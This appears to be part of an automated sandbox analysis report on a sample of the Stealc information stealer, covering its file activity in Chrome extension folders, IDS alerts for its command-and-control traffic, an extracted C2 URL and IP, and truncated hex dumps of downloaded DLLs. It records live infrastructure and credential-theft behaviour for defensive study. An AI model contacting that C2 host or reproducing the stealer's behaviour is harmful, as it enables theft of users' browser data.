Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_00412747 lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,FindFirstFileA,	0_2_00412747
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_0041E330 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,lstrcpy,lstrcpy,DeleteFileA,FindNextFileA,FindClose,	0_2_0041E330
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_0041CCE0 wsprintfA,FindFirstFileA,lstrcatA,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcatA,lstrlenA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,CreateFileA,GetFileSizeEx,CloseHandle,CloseHandle,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,lstrcpy,lstrcpy,DeleteFileA,FindNextFileA,FindClose,	0_2_0041CCE0
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_004015B9 lstrcpy,lstrcpy,lstrcpy,lstrcatA,lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,FindFirstFileA,	0_2_004015B9
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_0041DE50 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,lstrcpy,	0_2_0041DE50
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	Code function: 0_2_00412749 lstrcpy,lstrcpy,lstrcatA,lstrlenA,lstrcpy,lstrcatA,lstrcpy,FindFirstFileA,	0_2_00412749

Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\2BI8rJKpBa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 1MB later: 30MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49707 -> 185.219.81.132:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.6:49707 -> 185.219.81.132:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.219.81.132:80 -> 192.168.2.6:49707
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.6:49707 -> 185.219.81.132:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.219.81.132:80 -> 192.168.2.6:49707
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.6:49707 -> 185.219.81.132:80
Source: Network traffic	Suricata IDS: 2044249 - Severity 1 - ET MALWARE Win32/Stealc Submitting Screenshot to C2 : 192.168.2.6:49786 -> 185.219.81.132:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://185.219.81.132/c3d039fb36c40339.php

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 20 Dec 2024 21:52:03 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 14:30:30 GMTETag: "10e436-5e7eeebed8d80"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 20 Dec 2024 21:52:30 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "a7550-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 20 Dec 2024 21:52:32 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "94750-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 20 Dec 2024 21:52:34 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "6dde8-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 20 Dec 2024 21:52:35 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "1f3950-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 20 Dec 2024 21:52:38 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "3ef50-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
